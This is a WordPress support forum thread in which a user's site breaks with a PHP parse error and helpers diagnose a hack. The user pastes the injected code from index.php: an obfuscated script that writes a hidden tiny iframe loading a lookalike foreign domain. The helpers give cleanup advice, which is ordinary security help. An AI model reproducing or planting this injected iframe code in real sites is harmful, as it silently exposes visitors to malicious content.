Title: Random Breaking?
Last modified: August 19, 2016

---

# Random Breaking?

 *  Resolved [ronalddaniels](https://wordpress.org/support/users/ronalddaniels/)
 * (@ronalddaniels)
 * [16 years, 10 months ago](https://wordpress.org/support/topic/random-breaking/)
 * I’ve had 2.8 installed since it dropped, and everything has been fine since then.
   Until yesterday, I haven’t blogged nor uploaded/changed any files in a week. 
   I didn’t update any addons, I literally have done nothing as I have been on vacation.
 * Now I get this error:
 * Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ‘,’
   or ‘;’ in /home/rdaniels/public_html/index.php on line 18
 * Any ideas?

Viewing 6 replies - 1 through 6 (of 6 total)

 *  [iridiax](https://wordpress.org/support/users/iridiax/)
 * (@iridiax)
 * [16 years, 10 months ago](https://wordpress.org/support/topic/random-breaking/#post-1131865)
 * You can get this sort of thing if your site has been hacked. Check this index.
   php for suspicious code.
 *  [John H](https://wordpress.org/support/users/wpbloghost/)
 * (@wpbloghost)
 * [16 years, 10 months ago](https://wordpress.org/support/topic/random-breaking/#post-1131867)
 * iridiax is right, you can get this if you’ve been hacked. Doesn’t mean that you
   have, though.
 * If you see some weird code in your index.php file, like an iframe or some other
   code which doesn’t belong, realize that might not be the only file infected. 
   Make sure to change all usernames and more importantly, passwords – that includes
   your database password and FTP password.
 * Then install the Blue Trait Event Viewer plugin so you can keep an eye out for
   unwanted logins or changes.
 *  Thread Starter [ronalddaniels](https://wordpress.org/support/users/ronalddaniels/)
 * (@ronalddaniels)
 * [16 years, 10 months ago](https://wordpress.org/support/topic/random-breaking/#post-1131873)
 * On further inspection, my wp-admin page is giving me a similar error.
 * Here’s the code in question, but it really doesn’t make any sense to me:
 *     ```
       /** Loads the WordPress Environment and Template */
       require('./wp-blog-header.php');
       ?><?php echo '<script>document.write("<if"+''+'ra'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+"roso"+'t'+''+'f.c'+"n"+'/'+"\" wid"+''+'th=1 he'+"igh"+''+'t'+"="+"2></i"+''+"f"+"ra"+''+""+''+"me"+'>');</script>'; ?>
       ```
   
 *  [iridiax](https://wordpress.org/support/users/iridiax/)
 * (@iridiax)
 * [16 years, 10 months ago](https://wordpress.org/support/topic/random-breaking/#post-1131874)
 * It’s an iframe insertion, your site has been hacked. For more info, see:
 * [http://wordpress.org/support/topic/281767](http://wordpress.org/support/topic/281767)
 *  Thread Starter [ronalddaniels](https://wordpress.org/support/users/ronalddaniels/)
 * (@ronalddaniels)
 * [16 years, 10 months ago](https://wordpress.org/support/topic/random-breaking/#post-1131875)
 * Thanks. I’ve gotten it under control now.
 *  [John H](https://wordpress.org/support/users/wpbloghost/)
 * (@wpbloghost)
 * [16 years, 10 months ago](https://wordpress.org/support/topic/random-breaking/#post-1132188)
 * ronalddaniels – I’ll be doing a guest post on another blogger’s blog on Friday
   about securing WordPress. You might want to stop by.
 * Her site is [http://bloggingwithoutablog.com](http://bloggingwithoutablog.com).
   If I remember, I’ll head back over here after the article is published and link
   to it (as long as the forum moderators don’t mind the link).
 * Anyone else with security tips are welcomed to join in as well.

Viewing 6 replies - 1 through 6 (of 6 total)

The topic ‘Random Breaking?’ is closed to new replies.

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 6 replies
 * 3 participants
 * Last reply from: [John H](https://wordpress.org/support/users/wpbloghost/)
 * Last activity: [16 years, 10 months ago](https://wordpress.org/support/topic/random-breaking/#post-1132188)
 * Status: resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
